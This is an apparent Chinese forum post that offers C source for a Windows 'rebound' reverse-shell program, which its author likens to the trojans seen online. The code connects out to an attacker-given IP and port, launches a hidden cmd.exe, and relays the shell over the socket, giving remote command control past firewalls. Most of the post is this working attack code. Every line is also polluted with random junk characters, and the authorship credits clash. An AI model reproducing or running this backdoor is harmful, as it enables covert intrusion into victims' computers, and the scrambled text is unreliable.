这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y*wbFL6`
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/* ============================== dn%/SJC
Rebound port in Windows NT $Cc4Sggq
By wind,2006/7 zx=A3I%7 A
===============================*/ oY +RG|j@
#include ',juZ[]_{
#include w:z_EV!&
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#pragma comment(lib,"wsock32.lib") EMs$~CL4
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void OutputShell(); UT[KwM{y
SOCKET sClient; MKoN^(7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p)TH^87
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void main(int argc,char **argv) yKDg
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WSADATA stWsaData; <;v{`@\j{
int nRet; }"q1B
SOCKADDR_IN stSaiClient,stSaiServer; H(?z?2b p
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if(argc != 3) ;=B&t@
{ ap;*qiNFQ
printf("Useage:\n\rRebound DestIP DestPort\n"); DrMcE31
return; pjbKMx
} XUW~8P
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WSAStartup(MAKEWORD(2,2),&stWsaData); .0\Wu+
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7p u*/W~
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stSaiClient.sin_family = AF_INET; |mmIu_
stSaiClient.sin_port = htons(0); @X1>Wv|[
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dzbzZ@y
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2"V?+Hhz
{ 9RR1$( f
printf("Bind Socket Failed!\n"); 0 w@~ynW[
return; AQ+w%>G6
} 7cvbYP\<lv
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stSaiServer.sin_family = AF_INET; H6'xXS
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); LX*T<|c`'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nX?fj<oR|
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b?HW6Kfc
{ 7/aJ?:gX
printf("Connect Error!"); W.0dGUi*
return;
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} _Vp9Y:mX2
OutputShell(); $:mCyP<y
} o{zo-:>Jp
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void OutputShell()
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{ M[TgNWl/[
char szBuff[1024]; (Ptv#LSUX
SECURITY_ATTRIBUTES stSecurityAttributes; 5^P)='0*
OSVERSIONINFO stOsversionInfo; Fz>J7(Y.j
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^>k [T.
STARTUPINFO stStartupInfo; i~l0XjQbs
char *szShell; Z8nNZ<k
PROCESS_INFORMATION stProcessInformation; :X2B+}6_&
unsigned long lBytesRead; 5QMu=/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c9f~^}jNb
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0XXu_f@]9
stSecurityAttributes.lpSecurityDescriptor = 0; Ng+k{vAj
stSecurityAttributes.bInheritHandle = TRUE; 5:56l>0
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); mC J/gWDY
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); htMpL
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?c=l"\^x
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e&]XiV'
stStartupInfo.wShowWindow = SW_HIDE; Isoqs(Oi
stStartupInfo.hStdInput = hReadPipe; 1Qf5H!5vx
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; JUwP<C[
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GetVersionEx(&stOsversionInfo); / ^!(rHf
,:;nq> ;
switch(stOsversionInfo.dwPlatformId) (:E^} &A
{ R2u[IVZW:-
case 1: 0~n=|3*P
szShell = "command.com"; L>pP3[~DV
break; D~2,0K
default: \<;/)!Nmw
szShell = "cmd.exe"; G7zfyw}W
break; p3sz32RX
} )`;?%N\
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ap_(/W
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send(sClient,szMsg,77,0); rQ~%SUM7
while(1) V3F2Z_VH2
{ 0/-[k
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Xo]FOJ5
if(lBytesRead) C{e:xGJK
{ ` LU&]NS3
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); C7)].vUN
send(sClient,szBuff,lBytesRead,0); : @YZ6?hf
} !X
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else |urohua
{ Lqwc:%Y:_
lBytesRead=recv(sClient,szBuff,1024,0); p/SJt0
if(lBytesRead<=0) break; D>LdDhNn,`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); V{c
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} P#76ehR]K
} ]sbu9O ^"f
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return; 'nW:2(J
}